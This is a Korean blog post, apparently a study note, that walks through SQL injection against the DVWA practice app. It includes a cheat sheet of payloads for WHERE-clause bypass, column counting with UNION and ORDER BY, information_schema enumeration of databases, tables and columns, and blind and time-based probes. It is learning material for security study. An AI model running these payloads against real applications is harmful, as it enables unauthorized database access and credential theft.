where 구문 우회 아이디가 1인 데이터와 항상 '참'인데이터 모든 사용자가 리턴된다.
union은 합집합으로 두개의 셀렉트 구문을 포함시킨다.
아이디가 1인 사용자와 모든 사용자의 이름과 비밀번호 리턴. 뒤에 #은 주석처리.
1' union select 1,1# 입력시
합집합으로 같이 출력.
1' union select 1,1,1# 3개를 넣었는데 에러가 뜬다?
이전 셀렉트 문 컬럼의 갯수는 2개만 사용된 것을 알 수 있다.
또 다른 방법
ORDER BY 는 정렬할 때 사용하는데
1' order by 1# 에러 발생 안함
1' order by 2# 에러 발생 안함
1' order by 3# 에러 발생!
컬럼 갯수는 2개라는 것을 알 수 있다.
유니온을 사용하면 정확한 값을 입력할때까지 대입해봐야하지만 오더 바이를 사용하면 입력값보다 큰지 작은지 로 더 빨리 갯수를 찾아 낼 수 있다.
그 외 명령어.
// WHERE 구문 우회
1' or '1'='1
// UNION을 이용한 칼럼 갯수 알아내기
1' union select 1,1#
// ORDER BY 구문을 이용한 칼럼 갯수 알아내기
1' order by 2#
// 데이터베이스 명 조회
1' union select schema_name,1 from information_schema.schemata #
// dvwa 데이터베이스의 테이블 명 조회
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #
// users 테이블 칼럼 조회
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#
// 블라인드 SQL 인젝션 참 구문
1' AND 1=1#
// 블라인드 SQL 인젝션 거짓 구문
1' AND 1=2#
// 시간기반 블라인드 SQL 인젝션 탐지 구문
1' AND SLEEP(5)#
'정보 보안 해킹 공부 > SQL 인젝션' 카테고리의 다른 글
SQL INJECTION BYPASS WAF (0) | 2022.07.01 |
---|---|
[XSS]드림핵 (0) | 2022.02.23 |
[SQL 인젝션] Union, Logic (0) | 2022.02.21 |
[SQL 인젝션] LORD OF SQLINJECTION - cobolt 풀이 (0) | 2022.02.20 |
[SQL 인젝션] LORD OF SQLINJECTION - gremlin 풀이 (0) | 2022.02.20 |
댓글